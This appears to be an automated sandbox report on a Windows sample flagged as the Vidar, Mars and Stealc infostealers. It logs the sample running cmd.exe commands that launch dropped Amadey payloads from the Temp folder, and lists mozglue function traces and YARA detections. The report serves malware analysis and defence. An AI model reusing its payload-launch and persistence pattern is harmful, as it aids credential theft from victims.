r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:37.980453014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	00:22:56
Start date:	05/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x920000
File size:	2'464'256 bytes
MD5 hash:	16BF3FEC4A6DC3FD98A032B500C5B3DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:23:15
Start date:	05/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:23:15
Start date:	05/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:23:15
Start date:	05/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIJJDGDHDG.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	00:23:15
Start date:	05/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	00:23:15
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"
Imagebase:	0xe10000
File size:	1'901'056 bytes
MD5 hash:	02F8814BF92076A189CBB26DE55208F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.1434730424.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.1481277906.0000000000E11000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:23:19
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x9e0000
File size:	1'901'056 bytes
MD5 hash:	02F8814BF92076A189CBB26DE55208F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3709105416.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.1478211877.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	02:03:00
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x9e0000
File size:	1'901'056 bytes
MD5 hash:	02F8814BF92076A189CBB26DE55208F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2038395246.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2078738506.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:04:00
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x9e0000
File size:	1'901'056 bytes
MD5 hash:	02F8814BF92076A189CBB26DE55208F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2682883781.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2642592451.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:05:00
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x9e0000
File size:	1'901'056 bytes
MD5 hash:	02F8814BF92076A189CBB26DE55208F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.3242863532.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.3283992897.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CDA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2F688,00001000), ref: 6CDA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CDA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CDA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CDA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CDA369F
__aulldiv.LIBCMT ref: 6CDA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CDA3773
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDA377E
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CDA37C4
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDA37CB
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDA3801
__aulldiv.LIBCMT ref: 6CDA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CDA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CDA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CDA394C

Strings

GTC, xrefs: 6CDA3912
MOZ_TIMESTAMP_MODE, xrefs: 6CDA35DB
QPC, xrefs: 6CDA38FC
AuthcAMDenti, xrefs: 6CDA3946
GenuntelineI, xrefs: 6CDA3639

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: bc0536be8f739a62696244f45c58a1852d62be6c6626c90e72b9eb76c918dfe2
Instruction ID: f8957ae5b4255d9aa087d88d40ba0d3e49df834329d6adf1ed604d1f5314eaf2
Opcode Fuzzy Hash: bc0536be8f739a62696244f45c58a1852d62be6c6626c90e72b9eb76c918dfe2
Instruction Fuzzy Hash: AFB1B371B053209BDB08DF78C844B1AB7F6FB8A700F15892EE89AD7760D778D9058B91

Function 6CDBC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CDBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CDBC969
GetSystemInfo.KERNEL32(?), ref: 6CDBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CDBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CDBC9E2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 026041752b76b8fb00ce339cf1950e6eb90af7b8e1446d07420381d4db8f4519
Instruction ID: bafd82265a68926abcf8d9225ffbce7f81816bac59a67f740e94ca0ff1c8c9a7
Opcode Fuzzy Hash: 026041752b76b8fb00ce339cf1950e6eb90af7b8e1446d07420381d4db8f4519
Instruction Fuzzy Hash: E721FC71B41218ABEF14AB65CC84BAE7379BB86705F50051EF947B7A40EB746C0487A1

Function 6CDA3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CDA3095

Part of subcall function 6CDA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2F688,00001000), ref: 6CDA35D5
Part of subcall function 6CDA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CDA35E0
Part of subcall function 6CDA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CDA35FD
Part of subcall function 6CDA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CDA363F
Part of subcall function 6CDA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CDA369F
Part of subcall function 6CDA35A0: __aulldiv.LIBCMT ref: 6CDA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDA309F

Part of subcall function 6CDC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B85
Part of subcall function 6CDC5B50: EnterCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B90
Part of subcall function 6CDC5B50: LeaveCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5BD8
Part of subcall function 6CDC5B50: GetTickCount64.KERNEL32 ref: 6CDC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CDA30BE

Part of subcall function 6CDA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CDA3127
Part of subcall function 6CDA30F0: __aulldiv.LIBCMT ref: 6CDA3140

Part of subcall function 6CDDAB2A: __onexit.LIBCMT ref: 6CDDAB30

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 86d54f55f311880a3fb66b6bd441bb227af490a612de575f41d89222724b048d
Instruction ID: 555229bf5d6b35de644eb4ec4fc377f55fb3d641e1f65ed54c9c50683546a7a5
Opcode Fuzzy Hash: 86d54f55f311880a3fb66b6bd441bb227af490a612de575f41d89222724b048d
Instruction Fuzzy Hash: D7F0F922E2079496CA10DF748841FE6B375EF6B214F515719E84553561FF28A1D883D2

Non-executed Functions

Function 6CDB5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CDB5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDB54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDB54BE
__Init_thread_footer.LIBCMT ref: 6CDB54DB

Part of subcall function 6CDDAB3F: EnterCriticalSection.KERNEL32(6CE2E370,?,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB49
Part of subcall function 6CDDAB3F: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDAB7C

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

GetCurrentThreadId.KERNEL32 ref: 6CDB54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CDB5516
GetCurrentThreadId.KERNEL32 ref: 6CDB556A
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CDB5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CDB5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CDB55E6
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB5616

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

GetCurrentThreadId.KERNEL32 ref: 6CDB563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDB5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CDB567C
free.MOZGLUE(?), ref: 6CDB56AE

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CDB56E8
GetCurrentThreadId.KERNEL32 ref: 6CDB5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CDB570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CDB5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CDB574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CDB576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CDB5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CDB57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CDB57CA

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CDB57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CDB5B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CDB5BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CDB5D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CDB57AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDB54B9
MOZ_BASE_PROFILER_HELP, xrefs: 6CDB5511
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CDB5C56
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CDB5749
[I %d/%d] profiler_init, xrefs: 6CDB564E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CDB5CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CDB5D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CDB5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CDB5717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CDB5AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CDB56E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CDB5724
GeckoMain, xrefs: 6CDB5554, 6CDB55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDB548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CDB584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CDB5766
MOZ_PROFILER_STARTUP, xrefs: 6CDB55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CDB5791
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDB54A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CDB5D01

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 00cfcbaee0c967dc13188fa9c0cfe26841de54dc937cd5ddc3027635751f438c
Instruction ID: eb47dc59525301abc4e3104842276562f09422b548b377dbd0d2dacb4d56e3b0
Opcode Fuzzy Hash: 00cfcbaee0c967dc13188fa9c0cfe26841de54dc937cd5ddc3027635751f438c
Instruction Fuzzy Hash: DF2213F4A04340DFEB00AF64C85476AB7B5BF46308F140A29E947A7A61FB39D844CB63

Function 6CDB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CDB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CDB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CDB6D26

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CDB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CDB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CDB6D73
free.MOZGLUE(00000000), ref: 6CDB6D80
CertGetNameStringW.CRYPT32 ref: 6CDB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CDB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CDB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CDB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CDB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CDB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CDB6E34
CreateFileW.KERNEL32 ref: 6CDB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CDB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CDB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CDB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CDB7103
free.MOZGLUE(00000000), ref: 6CDB7153
CloseHandle.KERNEL32(?), ref: 6CDB7176
__Init_thread_footer.LIBCMT ref: 6CDB7209
__Init_thread_footer.LIBCMT ref: 6CDB723A
__Init_thread_footer.LIBCMT ref: 6CDB726B
__Init_thread_footer.LIBCMT ref: 6CDB729C
__Init_thread_footer.LIBCMT ref: 6CDB72DC
__Init_thread_footer.LIBCMT ref: 6CDB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CDB73C2
VerSetConditionMask.NTDLL ref: 6CDB73F3
VerSetConditionMask.NTDLL ref: 6CDB73FF
VerSetConditionMask.NTDLL ref: 6CDB7406
VerSetConditionMask.NTDLL ref: 6CDB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CDB741A
moz_xmalloc.MOZGLUE(?), ref: 6CDB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CDB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CDB7598
free.MOZGLUE(00000000), ref: 6CDB75AC

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

Strings

SHA256, xrefs: 6CDB6EC0
(, xrefs: 6CDB768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CDB72C8
wintrust.dll, xrefs: 6CDB72CD

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
